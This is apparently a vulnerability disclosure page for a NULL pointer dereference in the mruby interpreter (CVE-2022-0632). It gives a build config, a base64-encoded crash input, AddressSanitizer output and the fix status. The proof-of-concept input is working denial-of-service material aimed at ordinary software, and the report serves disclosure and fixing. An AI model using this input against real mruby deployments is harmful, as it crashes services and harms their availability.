NULL Pointer Dereference in mruby/mruby

0

Valid Reported on Feb 14th 2022

Description

There is a NULL Pointer Dereference in `ary_concat` (`array.c:301`). This bug has been found on mruby lastest commit (hash `ecb28f4bf463483cf914c799d086b0cfff997aee`) on Ubuntu 20.04 for x86_64/amd64.

Proof of Concept

The crash is not reproducible in a debug build, so a release build config must be used to reproduce it:
1- Clone repo and build with ASAN (but in non-debug mode) using `MRUBY_CONFIG=build_config/poc_config.rb rake` . With `poc_config.rb` being:

```
MRuby::Build.new do |conf|
  conf.toolchain :clang
  # include the GEM box
  conf.gembox 'full-core'

  conf.enable_sanitizer "address,undefined"
  conf.enable_bintest
  conf.enable_test
end
```

2- Use mruby to execute the poc (it is base64-encoded since it contains unprintable characters):

```
$ echo -ne 'R0M6OmNsYXNzLm5ld3tzdXBlciBzdXBlciBzdXBlcigmKQpiPTAsKuk9MH0=' |
$ ~/mruby/build/host/bin/mruby min
/home/faraday/mruby/src/array.c:301:7: runtime error: membe
0x000000000001: note: pointer points here
<memory cannot be printed>
```

Chat with us

```
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior /home/faraday/mruby
AddressSanitizer:DEADLYSIGNAL
=================================================================

==54835==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000012 (p
==54835==The signal is caused by a READ memory access.
==54835==Hint: address points to the zero page.
    #0 0x55a515 in ary_concat /home/faraday/mruby/src/array.c:301:7
    #1 0x55a515 in mrb_ary_concat /home/faraday/mruby/src/array.c:324:3
    #2 0x5ae1c9 in mrb_vm_exec /home/faraday/mruby/src/vm.c:2622:9
    #3 0x59ad77 in mrb_vm_run /home/faraday/mruby/src/vm.c:1128:12
    #4 0x53f5b4 in mrb_mod_initialize /home/faraday/mruby/src/class.c:1648:
    #5 0x5bc37b in mrb_vm_exec /home/faraday/mruby/src/vm.c:1633:18
    #6 0x59ad77 in mrb_vm_run /home/faraday/mruby/src/vm.c:1128:12
    #7 0x692370 in mrb_load_exec /home/faraday/mruby/mrbgems/mruby-compiler
    #8 0x69341f in mrb_load_detect_file_cxt /home/faraday/mruby/mrbgems/mru
    #9 0x4c69ee in main /home/faraday/mruby/mrbgems/mruby-bin-mruby/tools/m
    #10 0x7f6682c1d0b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/
    #11 0x41c83d in _start (/home/faraday/mruby/build/host/bin/mruby+0x41c8

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/faraday/mruby/src/array.c:301:7 in ar
==54835==ABORTING
```

Impact

This vulnerability is capable of making the mruby interpreter crash, thus affecting the availability of the system.

Acknowledgements

This bug was found by Octavio Gianatiempo (ogianatiempo@faradaysec.com) and Octavio Galland (ogalland@faradaysec.com) from Faraday Research Team.

CVE
CVE-2022-0632
(Published)

Vulnerability Type
CWE-476: NULL Pointer Dereference

Chat with us

Severity
Medium (5.5)

Visibility
Public

Status
Fixed

Found by

octaviogalland
@octaviogalland
unranked

Fixed by

Yukihiro "Matz" Matsumoto
@matz
maintainer

This report was seen 407 times.

We are processing your report and will contact the **mruby** team within 24 hours. 9 months ago

We have contacted a member of the **mruby** team and are waiting to hear back 9 months ago

Yukihiro "Matz" Matsumoto validated this vulnerability 9 months ago

octaviogalland has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

Yukihiro "Matz" Matsumoto marked this as fixed in **3.2** with commit **44f591** 9 months ago

Yukihiro "Matz" Matsumoto has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✘

Chat with us

Sign in to join this conversation

2022 © 418sec

Chat with us